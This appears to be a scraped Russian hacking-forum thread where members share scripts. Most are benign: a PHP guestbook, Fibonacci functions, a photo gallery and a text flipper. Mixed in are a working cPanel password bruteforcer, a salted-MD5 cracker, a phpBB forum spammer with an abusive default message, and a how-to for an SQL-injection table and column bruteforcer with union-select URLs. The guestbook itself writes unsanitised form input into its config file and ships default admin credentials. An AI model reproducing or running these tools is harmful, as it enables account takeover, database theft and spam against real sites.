guestbook_index.php:
<!--Таблица cтилей-->
<link rel = "stylesheet" type = "text/css" href = "style.css" />
<?php
//Максимальное количество новостей на страницу
$maxNews = 5;
include('guestbook_config.php');
session_start();
//Если отправлены данные из формы...
if(isset($_POST['nameUser']) && isset($_POST['mailUser']) && isset($_POST['bodyUser']) && isset($_POST['captcaUser'])) {
//Проверка отправленных данных
foreach($badNames as $badName) {
$testNameUser = preg_match('/^[^ ^($badName)].{1,12}$/', $_POST['nameUser']);
if($testNameUser === TRUE) $filNameUser = $_POST['nameUser'];
}
$filMailUser = preg_match('/^[a-z0-9\-_\.]{1,15}@[a-z0-9\-_\.]{1,15}$/i', $_POST['mailUser']);
$filBodyUser = preg_match('/^.{1,5000}$/', $_POST['bodyUser']);
//Если принятые из формы данные прошли проверку, то записываем их в базу...
if($filNameUser == TRUE && $filMailUser == TRUE && $filBodyUser == TRUE && $_SESSION['captcha'] == $_POST['captcaUser'] /* && $badNames */) {
//Чтение базы и сортировка её данных по массивам через цикл
$fileBase = file('base.txt');
foreach($fileBase as $fileBase2) {
list($id[], $name[], $mail[], $body[]) = split('\|&\|', $fileBase2);
}
//К последней записи id добавляем 1 для записи нового id
$id = array_pop($id);
$id++;
//$bodyUser = $_POST['bodyUser'];
//$bodyUser = str_replace("\r\n", '<br />', $bodyUser);
$_POST['bodyUser'] = wordwrap(str_replace("\r\n", '<br>', htmlspecialchars($_POST['bodyUser'])), 60, '<br>', 1);
$_POST['bodyUser'] = preg_replace('#(https?://[^ ]+)#i','<a href="\\1">\\1</a>',$_POST['bodyUser']);
//Отерытие файла на добавление записи
$fp = fopen('base.txt', 'a');
//Запись данных в файл
//fputs($fp, $id.'|&|'.htmlspecialchars($_POST['nameUser']).'|&|'.htmlspecialchars($_POST['mailUser']).'|&|'.htmlspecialchars($bodyUser)."\r\n");
fputs($fp, $id.'|&|'.htmlspecialchars($_POST['nameUser']).'|&|'.htmlspecialchars($_POST['mailUser']).'|&|'.$_POST['bodyUser']."\r\n");
fclose($fp);
$_SESSION['captcha'] = '';
echo <<<HERE
<table width = "500px" border = "0" align = "center" id = "mainTable">
<tr>
<td>
<center>Комментарий успешно добавлен</center>
</td>
</table>
HERE;
//Если данные не верны...
} else {
echo <<<HERE
<table width = "500px" border = "0" align = "center" id = "mainTable2">
<tr>
<td>
<center>Не верные данные</center>
</td>
</tr>
HERE;
echo '';
if($filNameUser == FALSE) echo '<tr><td><span id = "mainTable2_2">- Не верное имя.</span><br />
<span id = "mainTable2_21">Имя может содержать только буквы русского и английского алфавита.</span></td></tr>';
if($filMailUser == FALSE) echo '<tr><td><span id = "mainTable2_2">- Не верный e-mail адрес.</span><br />
<span id = "mainTable2_21">E-mail адрес может содержать только буквы английского алфавита, цифры и символы "-_.@".</span></td></tr>';
if($filBodyUser == FALSE) echo '<tr><td><span id = "mainTable2_2">- Не верный текст комментария.</span><br />
<span id = "mainTable2_21">Текст должен быть не длиннее 5 тысяч символов.</span></td></tr>';
if($_SESSION['captcha'] !== $_POST['captcaUser']) echo '<tr><td><span id = "mainTable2_2">- Не верно введён текст с проверочного изображения.</span><br />
<span id = "mainTable2_21">Если Вам не понятен текст, изображённый на проверочном изображении, просто обновите страницу.</span></td></tr>';
echo '</table>';
}
} else {
//Чтение базы и сортировка её данных по массивам через цикл
$fileBase = file('base.txt');
foreach($fileBase as $fileBase2) {
list($id[], $name[], $mail[], $body[]) = split('\|&\|', $fileBase2);
}
echo <<<HERE
<table width = "100%" height = "100%" border = "0" cellspacing = "0"><tr><td valign = "top">
<table width = "500px" border = "0" align = "center" id = "mainTable">
HERE;
//Если в данных сессии содержатся верные логин администратора и пароль
if(isset($_SESSION['loginName']) && isset($_SESSION['loginPass'])) {
if($_SESSION['loginName'] == $admin['name'] && $_SESSION['loginPass'] == $admin['pass']) {
echo <<<HERE
<tr>
<td valign = "top" height = "1px" id = "tdNew">
<span id = "adminLink"><a href = "guestbook_admin.php">Адмынко</a></span>
</td>
</tr>
HERE;
}
}
//Если передан номер страницы ($_GET['page'])...
if(empty($_GET['page'])) $_GET['page'] = 1;
if(isset($_GET['page']) && is_array($_GET['page']) === FALSE) {
//$huy = $maxNews * $_GET['page'];
//Проверка каждой новости на существование и вывод существующих на экран
//Если в guestbook_config.php, в переменной $commentsOrder выбрано значение "1" (От меньшего к большему)...
if($commentsOrder === 1) {
for($i = $maxNews * $_GET['page'] - $maxNews; $i < $maxNews * $_GET['page']; $i++) {
//$countId = count($id) - 1; for($i = $countId - $maxNews * $_GET['page'] + $maxNews; $i > $countId - $maxNews * $_GET['page']; $i--) {
if(isset($id[$i]) && isset($name[$i]) && isset($mail[$i]) && isset($body[$i])) {
echo <<<HERE
<tr>
<td valign = "top" height = "1px" id = "tdNew">
<span id = "titleComment"><b>$id[$i]</b>, От: <a href = "mailto:$mail[$i]?subject=GuestBookClubWeb">$name[$i]</a><br /></span>
$body[$i]
</td>
</tr>
HERE;
}
}
}
//Если в guestbook_config.php, в переменной $commentsOrder выбрано значение "2" (От большего к меньшему)...
if($commentsOrder === 2) {
$countId = count($id) - 1;
for($i = $countId - $maxNews * $_GET['page'] + $maxNews; $i > $countId - $maxNews * $_GET['page']; $i--) {
if(isset($id[$i]) && isset($name[$i]) && isset($mail[$i]) && isset($body[$i])) {
echo <<<HERE
<tr>
<td valign = "top" height = "1px" id = "tdNew">
<span id = "titleComment"><b>$id[$i]</b>, От: <a href = "mailto:$mail[$i]?subject=GuestBookClubWeb">$name[$i]</a><br /></span>
$body[$i]
</td>
</tr>
HERE;
}
}
}
}
//Вывести список (количество по отношению к новостям) страниц
echo <<<HERE
<tr>
<td valign = "top" id = "pageString" height = "1px">
<center>
HERE;
for($i = 1; $i <= ceil(count($name)/$maxNews); $i++) {
if($_GET['page'] == $i) echo '<font color = "gray">'."$i".'</font> ';
else echo "<a href = \"?page=$i\">$i </a>";
}
//Поле для добавления комментария
echo <<<HERE
</center>
</td>
</tr>
<tr>
<td height = "1px">
<table width = "100%" border = "0">
<form method = "POST">
<tr>
<td width = "1px" id = "secondTable">
Ваше Имя:
</td>
<td width = "100%">
<input type = "text" name = "nameUser" style = "width: 100%;">
</td>
</tr>
<tr>
<td id = "secondTable">
Ваш Mail:
</td>
<td>
<input type = "text" name = "mailUser" style = "width: 100%;">
</td>
</tr>
<tr>
<td colspan = "2">
<textarea style = "width: 100%; height: 100px;" name = "bodyUser"></textarea>
</td>
</tr>
<tr>
<td colspan = "2">
<img src = "img.php"><input type = "text" name = "captcaUser">
</td>
</tr>
<tr>
<td colspan = "2" align = "right" height = "1px">
<input type = "submit" value = "Отправить">
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</td></tr><tr><td height = "1px" valign = "top" align = "right">
<span id = "cop"><a href = "http://develop.clubweb.ru">GuestBookClubWeb 1.1</a></span>
</td></tr></table>
HERE;
//var_dump($_SESSION['captcha']);
}
?>
guestbook_admin.php:
<?php
include('guestbook_config.php');
$maxStrings = 15;
session_start();
if(isset($_POST['loginName']) && isset($_POST['loginPass'])) {
$_SESSION['loginName'] = $_POST['loginName'];
$_SESSION['loginPass'] = $_POST['loginPass'];
}
if(isset($_POST['exit'])) {unset($_SESSION); session_destroy();}
if(isset($_SESSION['loginName']) && isset($_SESSION['loginPass'])) {
if($_SESSION['loginName'] == $admin['name'] && $_SESSION['loginPass'] == $admin['pass']) {
echo <<<HERE
<form method = "POST">
<input type = "submit" name = "exit" value = "Выход"> <a href = "guestbook_index.php">Гостевая книга</a>
</form>
<a href = "guestbook_admin.php?list">Список новостей</a> -
<a href = "guestbook_admin.php?settings">Настройки системы</a>
<hr>
HERE;
if(isset($_GET['list'])) {
echo <<<HERE
<table width = "100%" border = "1">
<tr>
<td align = "center" width = "1px">
<b>ИД</b>
</td>
<td align = "center" width = "1px">
<b>Имя</b>
</td>
<td align = "center" width = "1px">
<b>E-mail</b>
</td>
<td align = "center">
<b>Текст</b>
</td>
<td align = "center" width = "1px">
<b>Дата</b>
</td>
<td align = "center" width = "1px">
<b>Действия</b>
</td>
</tr>
HERE;
$fileBase = file('base.txt');
foreach($fileBase as $fileBase2) {
list($id[], $name[], $mail[], $body[]) = split('\|&\|', $fileBase2);
}
$huy = $maxStrings * $_GET['page'];
for($i = $huy - $maxStrings; $i < $huy; $i++) {
if(isset($id[$i]) && isset($name[$i]) && isset($mail[$i]) && isset($body[$i])) {
echo <<<HERE
<tr>
<td>
$id[$i]
</td>
<td>
$name[$i]
</td>
<td>
$mail[$i]
</td>
<td>
$body[$i]
</td>
<td>
дата
</td>
<td>
<a href = "?edit=$i">Редактировать</a> - <a href = "?delete=$i">Удалить</a>
</td>
</tr>
HERE;
}}
echo '<tr><td colspan = "6" align = "center">';
for($i = 1; $i <= ceil(count($name)/$maxStrings); $i++) {
if(!isset($_GET['page'])) $_GET['page'] = 1;
if($_GET['page'] == $i) echo '<font color = "gray">['."$i".']</font> ';
else echo "<a href = \"?list&page=$i\">[$i] </a>";
}
echo '</td></tr></table>';
}
} else echo 'Все бомжи';
} else {
echo <<<HERE
<table height = "100%" width = "100%" border = "0">
<tr>
<td align = "center">
<form method = "POST">
<input type = "text" name = "loginName"><br>
<input type = "password" name = "loginPass"><br>
<input type = "submit" value = "Вход">
</form>
</td>
</tr>
</table>
HERE;
}
if(isset($_GET['settings'])) {
if(isset($_POST['order'])) {
$fgcConf = file_get_contents('guestbook_config.php');
$fpConf = fopen('guestbook_config.php', 'w');
$fgcConf = preg_replace('|\$commentsOrder = [1,2];|', '$commentsOrder = '."{$_POST['order']}".';', $fgcConf);
fputs($fpConf, $fgcConf);
fclose($fpConf);
echo 'Настройки успешно изменены';
} else {
echo <<<HERE
<table border = "1" width = "100%">
<form method = "POST">
<tr>
<td>
Показ новостей:
</td>
<td width = "100%">
<input type = "radio" name = "order" value = "1">От меньшего к большему
<input type = "radio" name = "order" value = "2">От большего к меньшему
</td>
</tr>
<tr>
<td colspan = "2" align = "right">
<input type = "submit" value = "Сконфигурировать">
</td>
</tr>
</form>
</table>
HERE;
}
}
?>
guestbook_config.php:
<?php
$admin['name'] = 'login';
$admin['pass'] = 'pass';
$commentsOrder = 2;
$badNames = array(
'Admin',
'Administrator',
'Админ',
'Администратор',
'Аdmin',
'Аdministrator',
'Аdministrаtor',
'Аdministratоr'
);
?>
img.php:
<?php
session_start();
$image = imageCreate(100, 30);
imageColorAllocate($image, 255, 255, 255);
for($i = 0; $i < 10; $i++) $color[] = imageColorAllocate($image, mt_rand(0,240), mt_rand(0,240), mt_rand(0,240));
$abc = array('A','B','C','D','E','F','G','H','I','J','K', 'L','M','N','1','2','3','4','5','6','7','8','9');
$rand = array();
$fullRand = '';
for($i = 0; $i < 6; $i++) $rand[] = $abc[mt_rand(0,22)];
foreach($rand as $randOne) $fullRand .= $randOne;
$_SESSION['captcha'] = $fullRand;
for($i = 0; $i < 6; $i++) imageTtfText($image,mt_rand(12,15),mt_rand(-20,20),15 * $i + mt_rand(4,8),mt_rand(20,25),$color[$i],'arial.ttf',$rand[$i]);
for($i = 0; $i < 3; $i++) imageArc($image, mt_rand(0,90), mt_rand(0,20), mt_rand(10,60), mt_rand(10,60), mt_rand(-380,0), mt_rand(0,380), $color[$i]);
header('Content-type: image/png');
imagePng($image);
?>
style.css:
body {
font-family: tahoma;
margin: 0px;
}
#mainTable {
background-color: #dbeaff;
}
#mainTable2 {
background-color: #dbeaff;
color: red;
}
#mainTable2_2 {
background-color: #dbeaff;
font-size: 12px;
color: #c50000;
}
#mainTable2_21 {
background-color: #dbeaff;
font-size: 10px;
color: #797979;
}
#secondTable {
background-color: #f6faff;
font-size: 14px;
color: #426ba4;
}
#tdNew {
border-bottom: 1px solid #f6faff;
font-size: 14px;
}
#tdNew a:link {
color: #0074bd;
}
#tdNew a:visited {
color: #0074bd;
}
#tdNew a:hover {
color: #24aaff;
}
#pageString a {
color: #70acff;
text-decoration: none;
}
#adminLink a {
color: #70acff;
text-decoration: none;
}
#cop {
font-size: 10px;
}
#cop a:link {
color: #77caff;
}
#cop a:visited {
color: #77caff;
}
#cop a:hover {
color: #24aaff;
}
#titleComment {
color: gray;
}
base.txt (Заполняется скриптом):
1|&|макииа|&|cevr@erbvrb.ru|&|vwrrbrbrg erhk gerh guiwer gui3rhgui er
2|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
3|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
4|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
5|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
6|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
7|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
8|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
9|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
10|&|btr|&|trtntntn@iehf.com|&|rbetntnt4nt4 t4 n tr4n t4
+ кладём arial.ttf
Писал чисто для самообучения так сказать :)
Админка недописана, если кто-то хочет - пишите))
Там с Mysql-ом строчек 20 кода, не считая дизайна!
Согласен, но ведь кто-то и мускул поставить не может....Новичкам пойдет
Задание: хранимая функция MySQL для чисел фибоначи.
SELECT FIBONACHI(5);
CREATE PROCEDURE FIBONACHI(IN nomer INTEGER)
BEGIN
IF nomer = 1 or nomer = 2 THEN
SET nomer = 1;
ELSE
SET nomer = FIBONACHI(nomer-1)+FIBONACHI(nomer-2);
END IF
RETURN nomer
END
(НЕТЕСТИЛ)
Кажется так, я с mysql не силён, выучил, только что бы cделать задание...
https://forum.antichat.ru/showpost.php?p=997785&postcount=42
вот ещё вариант на PHP(рабочий)
<?php
function fibonachi($i){
if (($i==1)or($i==2)){ return 1; break;}else{
$otvet=fibonachi($i-1)+fibonachi($i-2);
return $otvet;}}
echo fibonachi(10);
?>
<?php
###############################
#Calculation brute-force time
# By #Wolf# & Special thanks -=lebed=-
################################
if(isset($_POST['char']) && isset($_POST['num']) && isset($_POST['speed']))
{
$char=$_POST['char'];
$num=$_POST['num'];
$speed=$_POST['speed'];
$do=pow($char,$num);
$do2=$do/$speed;
$se=$do2/1000000;
$ro=round($se);
}
function format_time($sec) {
$a = array(
31556926 => 'year', //количество секунд в году
2629743 => 'month', //количество секунд в месяце
86400 => 'day', // количество секунд в сутках
3600 => 'hour', // количество секунд в часе
60 => 'min', // количество секунд в минуте
1 => 'sec' // количество секунд в секунде
);
$out = '';
foreach ($a as $k=>$v) {
$tmp = floor($sec/$k);
$out .= ($tmp?$tmp.$v.' ':'');
$sec -= $tmp*$k;
}
return $out;
}
echo <<<HERE
<html>
<head>
<title></title>
<style>
body
{
background-color: #cdc9c9;
}
table
{
border: 1px #666666 solid;
}
td,th
{
font-size: 10px;
font-family: verdana, tahoma;
color: #666666;
background-color: #cdc9c9;
border: 0px #333333 solid;
}
input
{
font-family: verdana, tahoma;
font-size: 10px;
color: grey;
background-color: #cdc9c9;
border: 1px #666666 solid;
}
a
{
font-size: 10px;
text-decoration: none;
color: grey;
}
</style>
</head>
<table border="0" width="600" align="center">
<form method="POST">
<tr>
<td colspan="2" align="center">
<b>Скрипт для расчета времени перебора</b>
</td>
</tr>
<tr>
<td>Символов в наборе</td>
<td><input type="text" name="char" size="50"></td>
</tr>
<tr>
<td>Глубина перебора(длина)</td>
<td><input type="text" name="num" size="50"></td>
</tr>
<tr>
<td>Скорость перебора(млн/с)</td>
<td><input type="text" name="speed" size="50"></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Отправить"></td>
</tr>
<td colspan="2" align="center">
<b>
HERE;
echo format_time($ro)."<b>
<tr>
<td colspan=\"2\" align=\"center\">
Coded by <b>#Wolf# & Special thanks -=lebed=- ;-)</b>
</td>
</tr>
</form>
</table>";
?>
-Hormold-
29.12.2008, 17:08
Вы хотели создать свой квест?
Это вам поможет!!
HTML and CSS by Ponchik
Там есть и начала где список тех кто прошёл, и конец где модно оставить свой текст!
Удачи!
Или тут: http://v0id.cn/file/sQuest.rar
Демо: http://v0id.cn/file/sQuest/
Pashkela
29.12.2008, 21:30
Тем, кто часто работает с SIPT4. Просто в один прекрасный день (сегодня) достало объяснять этой, несомненно, мегапроге, что по ссылке, где я хочу произвести брут таблиц/колонок в MySQL4 есть SQL-Inj, и причем частенько SIPT4 не может увидеть саму скулю, но мы то знаем, что скуля есть:) В итоге написал именно БРУТЕР, без всякой лишней галиматьи, которому не надо объяснять GET, POST, заново подбирать кол-во полей и т.д., а просто вписать ссылку и запустить.
mysql4bruter.exe - Программа mysql4bruter.exe предназначена для брута таблиц и колонок в MySQL<5
В комплекте 7 файлов:
1. mysql4bruter.exe - сама программа
2. source_url.txt - файл инициализация URL, не может быть пустым, при котором можно получить SQL-inject (в этой версии предполагается, что количество колонок вы уже подобрали сами самостоятельно и вам лишь следует скопирвать нужный URL в
этот файл и заменить номер принтабельной колонки (одной) на символ "№"). Например есть уязвимость по
ссылке:
http://www.sait.ru/index.php?id=1+union+select+1,version()/*
в source_url.txt надо вставить:
http://www.sait.ru/index.php?id=1+union+select+1,№ и переходить к пункту 3
3. source_filtr.txt - файл инициализации фильтра (/*,--,# и т.д. или просто пусто)
4. source_limit.txt - файл инициализации limit:
Пусто - без limit
0 - /**/limit/**/0,1
1 - /**/limit/**/1,1
5. source_unhex_hex.txt - файл инициализации для команды unhex(hex()), во избежании проблем с несовпадением с кодировками в некоторых случаях, не может быть пустым:
0 - no
1 - yes
6. После того, как вы занесли заполнили эти два файла (обязательное условие для корректной работы программы), можете запускать саму программу RUN!!!.cmd. Начнется брут по списку таблиц из файла source_table_list.txt, результаты которого будут сохранены в output.txt
7. После того, как вы сбрутили хоть одну таблицу, вы можете начать брутить колонки из этой таблицы,
для этого вам надо заполнить файл source_table.txt - а именно просто внести туда название интересующей вас таблицы. И снова запустить RUN!!!.cmd. Будет произеден брут полей интересующей вас таблицы по списку из файла
source_column_list.txt и результаты будут также сохранены в файл output.txt
Example: http://www.site.org/index.php?id=1+union+select+1,version()/*
source_url.txt: "http://www.site.org/index.php?id=1+union+select+1,№"
source_unhex_hex.txt : "0"
source_filtr.txt: "/*"
source_table.txt: ""
source_column.txt: ""
source_limit.txt: ""
Программа написана на чистом PHP (c)Pashkela ( 0,53 Мб )
Скачать: http://pashkela.narod.ru/progi/MySql4Bruter.rar
Пароль на архив - 123
В комплекте словари от того же SIPT4
Вот тоже скриптик несильно нужный но ради боловстава выложу.Переворачивает текст задом наперед
<script language="JavaScript"> function IIIIIIIIIIII() { var result = flipString(document.f.original.value.toLowerCase() ); document.f.flipped.value = result; } function flipString(aString) { var last = aString.length - 1; var result = new Array(aString.length) for (var i = last; i >= 0; --i) { var c = aString.charAt(i) var r = flipTable[c] result[last - i] = r != undefined ? r : c } return result.join('') } var flipTable = { a : '\u0250', b : 'q', c : '\u0254', //open o -- from pne d : 'p', e : '\u01DD', f : '\u025F', //from pne g : '\u0183', h : '\u0265', i : '\u0131', //from pne j : '\u027E', k : '\u029E', //l : '\u0283', m : '\u026F', n : 'u', r : '\u0279', t : '\u0287', v : '\u028C', w : '\u028D', y : '\u028E', '.' : '\u02D9', '[' : ']', '(' : ')', '{' : '}', '?' : '\u00BF', //from pne '!' : '\u00A1', "\'" : ',', '<' : '>', '_' : '\u203E', ';' : '\u061B', '\u203F' : '\u2040', '\u2045' : '\u2046', '\u2234' : '\u2235', '\r' : '\n' //thank you, Waik } for (i in flipTable) { flipTable[flipTable[i]] = i } </script></head><body> <form name="f"> <textarea rows="5" cols="50" name="original" onkeyup="IIIIIIIIIIII()"></textarea><input value="Flip" onclick="IIIIIIIIIIII()" type="button"> <textarea rows="5" cols="50" name="flipped"></textarea> </form>
<html><head>
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>phpBB Spammer</title>
<script type="text/javascript">
<!--
function submitForm(counter)
{
document.title = 'phpBB Spammer' + counter + ' topics posted';
if(document.docform.script_on.value == '1')
{
document.docform.action = document.docform.target.value;
document.docform.submit();
counter++;
}
document.getElementById('counterspan').innerHTML = counter;
setTimeout("submitForm(" + counter + ")", document.docform.intervals.value * 1000);
}
function onOff()
{
if(document.docform.script_on.value == '1')
{
document.docform.script_on.value = '0';
document.docform.stopstart.value = 'Start!';
}
else
{
document.docform.script_on.value = '1';
document.docform.stopstart.value = 'Stop!';
}
}
//-Arrow
</script>
</head><body onload="submitForm(0)" style="font-family: Verdana; font-size: 8pt; font-style: italic;">
<form name="docform" enctype="multipart/form-data" action="" method="post" target="iframe">
<div align="left">
<table style="border-collapse: collapse;" id="AutoNumber1" bgcolor="#dee9f3" border="1" bordercolor="#c0c0c0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td colspan="2" bgcolor="#c4d8ea">
<h1 align="center">
<span style="font-style: italic; text-decoration: underline;">Afterlife's phpBB Spammer!</span></h1>
</td>
</tr>
<tr>
<td width="54%"><i><font size="1"> Intervals (seconds)</font></i></td>
<td width="46%"><font size="1"><input name="intervals" size="57" value="30" type="text"></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1"> Forum ID (This can be found in the forum url, in the url
you will see viewforum.php?f={num}, the number is the id.)</font></i></td>
<td width="46%"><font size="1"><input name="f" size="57" type="text"></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1"> Target</font></i></td>
<td width="46%">
<font size="1">
<input name="target" size="57" value="http://www.phpbb.com/phpBB/posting.php" type="text"></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1"> Topic Title</font></i></td>
<td width="46%">
<font size="1">
<input name="subject" size="57" value="Spam!" type="text"></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1"> Topic Content</font></i></td>
<td width="46%">
<font size="1">
<textarea rows="5" name="message" cols="48">You are being spammed bitch!</textarea></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1"> Controls</font></i></td>
<td width="46%">
<font size="1">
<input value="Start!" name="stopstart" onclick="onOff()" type="button"><i>
<input name="script_on" value="0" type="hidden">
<input name="mode" value="newtopic" type="hidden">
<input name="post" class="mainoption" value="Submit" type="hidden">
(Please be logged in first, Use the autologin feature)</i></font></td>
</tr>
<tr>
<td width="54%"><i><font size="1"> Total post requests made</font></i></td>
<td width="46%">
<i>
<font size="1"> <span id="counterspan">0</span></font></i>
</td>
</tr>
<tr>
<td colspan="2">
<i><font size="1">
<iframe name="iframe" marginwidth="1" marginheight="1" border="0" align="center" width="100%" frameborder="0" height="500">
Your browser does not support inline frames or is currently configured
not to display inline frames, This spammer requires inline frames to
function.</iframe>
</font></i>
</td>
</tr>
</tbody></table>
</div>
</form>
</body></html>
(с) dnsman
Pashkela
06.01.2009, 19:58
Основано на javasсriрt, если конкретней на lightgallery, проверено на narod.ru (где, как известно, кроме javasсriрt ничего больше и нет - значит будет работать на любом сайте), аналогов нет. С анимацией и превьюшками и автоподстройкой под разрешение монитора.
Посмотреть в действии здесь:
http://pashkela.narod.ru/foto/index.html
скачать здесь:
http://pashkela.narod.ru/foto/gallery.rar
В комплекте несколько файлов:
1. Каталог lightgallery - там скрипты, кнопки и прочее
2. Тестовые картинки 1.jpg, 2.jpg, 3.jpg, 4.jpg (просто, чтобы понять, как работает)
3. Основная страница - index.html
Принцип проще некуда (найдете проще - отпишитесь:)):
1. Скачиваем и распаковываем на свой комп http://pashkela.narod.ru/foto/gallery.rar
2. Открываем index.html в блокноте (правая кнопочка мышки на файл-открыть с помощью-блокнот)
3. Сверху нас интересуют только три строчки:
//КОЛИЧЕСТВО ФОТОГРАФИЙ
var kol=4;
//РАСШИРЕНИЕ ФОТОГРАФИЙ (.jpg, .gif, .bmp, etc...)
var ras = "jpg";
//НАЗВАНИЕ ГАЛЕРЕИ
var naz = "НОВЫЙ ГОД";
думаю тут объяснять не надо, просто меняете на свои параметры и всё.
Заливает на свой сервер, например http://ваш_ник_на_народе/foto/
туда же заливаете фотки, ТУТ ВНИМАТЕЛЬНО:
все фотки просто должны быть переименованы в
1.jpg, 2.jpg, 3.jpg, 4.jpg.......100.jpg
ну естественно начиная с 1 и заканчивая просто сколько у вас фоток. Если не .jpg, то и ничего страшного, просто в index.html укажите Ваш тип расширения
Собственно и всё. Переходите по адресу http://ваш_ник_на_народе/foto/index.html и наслаждаетесь
Кемит Блонски
08.01.2009, 07:58
брут мд5 хэшей с солью.
set_time_limit(0);
if (!isset($_POST['crack'])) {
echo "<i>World-List</i>: <input type='text' name='list'><br>";
echo "<i>MD5 Hash</i>: <input type='text' name='hash'><br>";
echo "<i>Salt</i>: <input type='text' name='salt'><br>";
echo "<input type='submit' name='submit' value='Crack The Salt!'>";
$list = $_POST['list'];
$hash = $_POST['hash'];
$salt = $_POST['salt'];
}else{
foreach(file($list) as $line){
$line = str_replace("\n","",$line);
$cracked = md5(md5($line).$salt);
if($hash = $cracked){
die("Salt Broken...<br>
[+]Password = $line<br>");
}
}else{
echo "Sorry mate, no payoff today, try another list!";
}
?>
Кемит Блонски
08.01.2009, 08:00
cPanel 11 Bruteforcer [php]
<?php
echo "URL (cPanel Main Page e.G http://site.com:2082): ";
$url = trim(fgets(STDIN));
echo "USER TO BRUTE: ";
$user = trim(fgets(STDIN));
echo "PASSLIST: ";
$passlist = trim(fgets(STDIN));
brute_cPanel($url, $user, $passlist);
function login_cPanel($url, $user, $pass)
{
$target = trim($url)."/login/";
$post_data = "login_theme=cpanel&user=".$user."&pass=".$pass;
$referer = trim($url);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3";
$curl_conf = array(
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_FOLLOWLOCATION => TRUE,
CURLOPT_USERAGENT => $user_agent,
CURLOPT_REFERER => $referer,
CURLOPT_POST => TRUE,
CURLOPT_POSTFIELDS => $post_data
);
$curl_handle = curl_init($target);
curl_setopt_array($curl_handle, $curl_conf);
$content = curl_exec($curl_handle);
file_put_contents("result.htm", $content);
if (!preg_match("[Login Attempt Failed\!]", $content))
{
return true;
}
else
{
return false;
}
}
function brute_cPanel($url, $user, $passlist)
{
$passes = file($passlist);
$count = count($passes);
$counter = 0;
echo "CHECKING FOR ".$count." PASSES\r\n";
while ($counter < $count):
$current_pass = trim($passes[$counter]);
if (login_cPanel($url, $user, $current_pass))
{
echo "SUCCESS: ".$current_pass."\r\n";
return true;
}
$counter++;
endwhile;
return false;
}
?>
Генератор e-mail
<?php
/* bk.ru || list.ru || mail.ru || inbox.ru */
$domain = 'bk.ru';
/* Generator */
$fp2 = fopen("3d_mail.txt", "a");
$str = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($iii=0; $iii<strlen($str); $iii++) {
for ($ii=0; $ii<strlen($str); $ii++) {
for ($i=0; $i<strlen($str); $i++) {
fputs($fp2, $str[$i].$str[$ii].$str[$iii]."@".$domain."\r\n");
}}}
fclose($fp2);
?>
Данный гавно скриптик сгенерит 3х значные имейлы вида мыло@домен.ру Всего генерит 46656 мыл.
Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится :)
1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров.
2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы.
3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример.
Все три класса можно скачать тут:
http://rapidshare.com/files/103151532/scripts.zip.html
Перезалейте, пожалуйста, ссылка битая. Очень хочется посмотреть. :)
Основано на javasсriрt, если конкретней на lightgallery,
.........
и наслаждаетесь
я уже давно ajax наслаждаюсь)
А что здесь сделал именно ты? Чем лучше, чем у автора?
===
я не поленилась, бегло посмотрела архив. сжатая библиотека js...и тд.
в общем, в чем разница по сравнению с этим?
http://www.jstoolbox.com/proekty/lightgallery/
Pashkela
10.01.2009, 13:45
В автоматике добавления картинок. Только в этом. Нигде не видел варианта, где людям просто надо вписать кол-во картинок и название галереи и расширение на все файлы
А то, что основанно именно на lightgallery я и не скрывал, в посте по моему это отмечено (непонятно зачем бегло смотреть архив и не читать САМО сообщение)
Простой icq бот с кривым кодом, но кому надо исправит.
MySQL не знаю, тупо гуглом искал запросы
#!/usr/bin/python
# -*- coding: cp1251 -*-
from twisted.words.protocols import oscar
from twisted.internet import protocol, reactor
from urllib import quote
import urllib2
import re
import MySQLdb
import sys
import time
import md5
SN = ''
PASS = ''
icqMode = 1
hostport = ('login.icq.com', 5190)
infoMessage = "This is pyBot version 0.00001"
too_much = "Sorry but you can send only 1 requests per 10 seconds"
class B(oscar.BOSConnection):
capabilities = [oscar.CAP_CHAT]
def initDone(self):
self.requestSelfInfo().addCallback(self.gotSelfInf o)
self.requestSSI().addCallback(self.gotBuddyList)
def gotSelfInfo(self, user):
print user.__dict__
self.name = user.name
def gotBuddyList(self, l):
print l
self.activateSSI()
self.setProfile("""Fuck on this""")
self.setIdleTime(0)
self.clientReady()
def receiveMessage(self, user, multiparts, flags):
message = multiparts[0][0]
if message == '!reg':
self.reg(user.name)
